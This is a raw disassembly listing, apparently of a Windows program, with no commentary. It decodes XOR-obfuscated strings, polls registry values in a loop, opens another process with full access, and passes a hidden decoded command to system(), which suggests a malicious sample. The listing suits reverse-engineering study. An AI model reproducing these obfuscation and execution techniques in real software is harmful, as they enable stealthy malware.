mov dword [ebp - 0x12a4], ecx
mov dword [ebp - 0x1108], 0x11447d3d
mov dword [ebp - 0x1104], 0x4b4fe0bf
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1108], 0xaff263a6
mov dword [ebp - 0x1120], eax
mov dword [ebp - 0x1104], 0xdb91398e
mov eax, dword [ebp - 0x1108]
mov dword [ebp - 0x111c], ecx
mov ecx, dword [ebp - 0x1104]
mov edx, dword [esi]
mov dword [ebp - 0x1118], eax
mov dword [ebp - 0x1114], ecx
movaps xmm1, xmmword [ebp - 0x1120]
xorps xmm1, xmmword [ebp - 0x12b0]
movaps xmmword [ebp - 0x12b0], xmm1
mov dword [ebp - 0x105c], 0
test edx, edx
je 0x405543
lea ecx, [ebp - 0x12b0]
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405516
sub ecx, edi
je 0x405543
push 4
lea eax, [ebp - 0x105c]
push eax
push 4
push 0
lea eax, [ebp - 0x12b0]
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
sete al
jmp 0x405545
xor al, al
mov byte [esi + 8], al
nop dword [eax + eax]
mov dword [ebp - 0x1118], 0x7f211a5c
mov dword [ebp - 0x1114], 0x252ebfcb
mov eax, dword [ebp - 0x1118]
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x12c0], eax
mov dword [ebp - 0x12bc], ecx
mov dword [ebp - 0x1188], 0xdd9714d5
mov dword [ebp - 0x1184], 0xdb91398e
mov eax, dword [ebp - 0x1188]
mov ecx, dword [ebp - 0x1184]
mov dword [ebp - 0x12b8], eax
mov dword [ebp - 0x12b4], ecx
mov dword [ebp - 0x11b8], 0x11447d3d
mov dword [ebp - 0x11b4], 0x4b4fe0bf
mov eax, dword [ebp - 0x11b8]
mov ecx, dword [ebp - 0x11b4]
mov dword [ebp - 0x11c0], 0xaff263a6
mov dword [ebp - 0x1150], eax
mov dword [ebp - 0x11bc], 0xdb91398e
mov eax, dword [ebp - 0x11c0]
mov dword [ebp - 0x114c], ecx
mov ecx, dword [ebp - 0x11bc]
mov edx, dword [esi]
mov dword [ebp - 0x1148], eax
mov dword [ebp - 0x1144], ecx
movaps xmm1, xmmword [ebp - 0x1150]
xorps xmm1, xmmword [ebp - 0x12c0]
movaps xmmword [ebp - 0x12c0], xmm1
mov dword [ebp - 0x1028], 0
mov dword [ebp - 0x1068], 4
test edx, edx
je 0x40567b
lea eax, [ebp - 0x12c0]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405638
sub eax, edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
je 0x405681
lea eax, [ebp - 0x1028]
mov dword [ebp - 0x1028], 4
push eax
lea eax, [ebp - 0x106c]
push eax
lea eax, [ebp - 0x1068]
push eax
push 0
lea eax, [ebp - 0x12c0]
push eax
push edx
call edi
test eax, eax
sete al
jmp 0x405683
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor al, al
cmp dword [ebp - 0x106c], 1
mov byte [esi + 8], al
je 0x40569c
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405550
mov dword [ebp - 0x1020], 0x722b0f4d
mov dword [ebp - 0x101c], 0x143c93da
mov eax, dword [ebp - 0x1020]
mov ecx, dword [ebp - 0x101c]
mov dword [ebp - 0x12a0], eax
mov dword [ebp - 0x129c], ecx
mov dword [ebp - 0x1020], 0xaff207cf
mov dword [ebp - 0x101c], 0xdb91398e
mov eax, dword [ebp - 0x1020]
mov ecx, dword [ebp - 0x101c]
mov dword [ebp - 0x1298], eax
mov dword [ebp - 0x1294], ecx
mov dword [ebp - 0x1020], 0x11447d3d
mov dword [ebp - 0x101c], 0x4b4fe0bf
mov eax, dword [ebp - 0x1020]
mov ecx, dword [ebp - 0x101c]
mov dword [ebp - 0x1020], 0xaff263a6
mov dword [ebp - 0x101c], 0xdb91398e
mov dword [ebp - 0x1150], eax
mov eax, dword [ebp - 0x1020]
mov dword [ebp - 0x114c], ecx
mov ecx, dword [ebp - 0x101c]
mov edx, dword [esi]
mov dword [ebp - 0x1148], eax
mov dword [ebp - 0x1144], ecx
movaps xmm1, xmmword [ebp - 0x1150]
xorps xmm1, xmmword [ebp - 0x12a0]
movaps xmmword [ebp - 0x12a0], xmm1
mov dword [ebp - 0x1024], 0
mov dword [ebp - 0x101c], 0xb
test edx, edx
je 0x4057d1
lea ecx, [ebp - 0x12a0]
lea eax, [ecx + 1]
mov dword [ebp - 0x1104], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405790
sub ecx, dword [ebp - 0x1104]
je 0x4057d1
lea eax, [ebp - 0x1024]
mov dword [ebp - 0x1024], 8
push eax
lea eax, [ebp - 0x1088]
push eax
lea eax, [ebp - 0x101c]
push eax
push 0
lea eax, [ebp - 0x12a0]
push eax
push edx
call edi
test eax, eax
sete al
jmp 0x4057d3
xor al, al
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov byte [esi + 8], al
mov esi, dword [ebp - 0x1088]
push esi
push 0
push 0x1fffff
call edi
test eax, eax
jne 0x4058d8
mov dword [ebp - 0x1108], 0x4e25095a
mov dword [ebp - 0x1104], 0x2e6181cc
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x113c], ecx
mov dword [ebp - 0x1140], eax
mov dword [ebp - 0x1118], 0xaff206de
mov dword [ebp - 0x1114], 0xdb91398e
mov eax, dword [ebp - 0x1118]
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1134], ecx
mov dword [ebp - 0x1138], eax
mov dword [ebp - 0x1188], 0x11447d3d
mov dword [ebp - 0x1184], 0x4b4fe0bf
mov eax, dword [ebp - 0x1188]
mov ecx, dword [ebp - 0x1184]
mov dword [ebp - 0x11b8], 0xaff263a6
mov dword [ebp - 0x1150], eax
mov dword [ebp - 0x114c], ecx
mov dword [ebp - 0x11b4], 0xdb91398e
mov eax, dword [ebp - 0x11b8]
mov ecx, dword [ebp - 0x11b4]
mov dword [ebp - 0x1144], ecx
lea ecx, [ebp - 0x1140]
mov dword [ebp - 0x1148], eax
movaps xmm1, xmmword [ebp - 0x1150]
xorps xmm1, xmmword [ebp - 0x1140]
movaps xmmword [ebp - 0x1140], xmm1
call fcn.00401180
mov esi, eax
push esi
push 0
push 0x1fffff
call edi
test eax, eax
je 0x4057f4
push 0x40a058
push esi
push eax
call fcn.00401390
test eax, eax
je 0x405b65
mov dword [ebp - 0x1110], 0x7d2d1c7b
mov dword [ebp - 0x110c], 0x3f6f84da
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11b0], eax
mov dword [ebp - 0x11ac], ecx
mov dword [ebp - 0x1110], 0xc19b43c9
mov dword [ebp - 0x110c], 0xaff25ce4
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11a8], eax
mov dword [ebp - 0x11a4], ecx
mov dword [ebp - 0x1110], 0x75e20a0f
mov dword [ebp - 0x110c], 0x9fd2d474
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11a0], eax
mov dword [ebp - 0x119c], ecx
mov dword [ebp - 0x1110], 0x8572d5ac
mov dword [ebp - 0x110c], 0x77e68d14
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1198], eax
mov dword [ebp - 0x1194], ecx
mov dword [ebp - 0x1110], 0x11447d3d
mov dword [ebp - 0x110c], 0x4b4fe0bf
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11e0], eax
mov dword [ebp - 0x11dc], ecx
mov dword [ebp - 0x1110], 0xaff263a6
mov dword [ebp - 0x110c], 0xdb91398e
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11d8], eax
mov dword [ebp - 0x11d4], ecx
mov dword [ebp - 0x1110], 0x108a692f
mov dword [ebp - 0x110c], 0xfbf2a015
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11d0], eax
mov dword [ebp - 0x11cc], ecx
mov dword [ebp - 0x1110], 0x8f53b9c0
mov dword [ebp - 0x110c], 0x77e68d14
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
movaps xmm1, xmmword [ebp - 0x11e0]
xorps xmm1, xmmword [ebp - 0x11b0]
movaps xmmword [ebp - 0x11b0], xmm1
movaps xmm1, xmmword [ebp - 0x11a0]
mov dword [ebp - 0x11c8], eax
lea eax, [ebp - 0x11b0]
mov dword [ebp - 0x11c4], ecx
xorps xmm1, xmmword [ebp - 0x11d0]
push eax
movaps xmmword [ebp - 0x11a0], xmm1
call fcn.00401990
mov dword [ebp - 0x1110], 0x62311c4d
mov dword [ebp - 0x110c], 0x4b4fe0da
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1130], eax
mov dword [ebp - 0x112c], ecx
mov dword [ebp - 0x1110], 0xaff263a6
mov dword [ebp - 0x110c], 0xdb91398e
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1128], eax
mov dword [ebp - 0x1124], ecx
mov dword [ebp - 0x1110], 0x11447d3d
mov dword [ebp - 0x110c], 0x4b4fe0bf
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1110], 0xaff263a6
mov dword [ebp - 0x110c], 0xdb91398e
mov dword [ebp - 0x1150], eax
mov eax, dword [ebp - 0x1110]
mov dword [ebp - 0x114c], ecx
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1148], eax
mov dword [ebp - 0x1144], ecx
movaps xmm1, xmmword [ebp - 0x1150]
xorps xmm1, xmmword [ebp - 0x1130]
lea eax, [ebp - 0x1130]
add esp, 4
movaps xmmword [ebp - 0x1130], xmm1
push eax
mov eax, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call eax
add esp, 4
mov esi, 1
jmp 0x405c46
mov dword [ebp - 0x1110], 0x72312e37
mov dword [ebp - 0x110c], 0x383c85dc
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1130], eax
mov dword [ebp - 0x112c], ecx
mov dword [ebp - 0x1110], 0xaff26987
mov dword [ebp - 0x110c], 0xdb91398e
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1128], eax
mov dword [ebp - 0x1124], ecx
mov dword [ebp - 0x1110], 0x11447d3d
mov dword [ebp - 0x110c], 0x4b4fe0bf
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1150], eax
mov dword [ebp - 0x1110], 0xaff263a6
mov dword [ebp - 0x114c], ecx
mov dword [ebp - 0x110c], 0xdb91398e
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1148], eax
lea eax, [ebp - 0x1130]
mov dword [ebp - 0x1144], ecx
movaps xmm1, xmmword [ebp - 0x1150]
xorps xmm1, xmmword [ebp - 0x1130]
push eax
movaps xmmword [ebp - 0x1130], xmm1
call fcn.00401990
add esp, 4
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov ecx, dword [ebp - 0x1044]
cmp ecx, 0xf
jbe 0x405c80
mov edx, dword [ebp - 0x1058]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405c76
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d1e
push ecx
push edx
call fcn.00406270
add esp, 8
mov dword [ebp - 0x1048], 0
mov dword [ebp - 0x1044], 0xf
mov byte [ebp - 0x1058], 0
mov ecx, dword [ebp - 0x102c]
cmp ecx, 0xf
jbe 0x405cd1
mov edx, dword [ebp - 0x1040]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405cc7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d1e
push ecx
push edx
call fcn.00406270
add esp, 8
mov dword [ebp - 0x1030], 0
mov dword [ebp - 0x102c], 0xf
mov byte [ebp - 0x1040], 0
mov ecx, dword [ebp - 0x108c]
cmp ecx, 7
jbe 0x405d2e
mov edx, dword [ebp - 0x10a0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405d24
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x405d24
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00406270
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00406232
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00401170
call fcn.004010d0
int3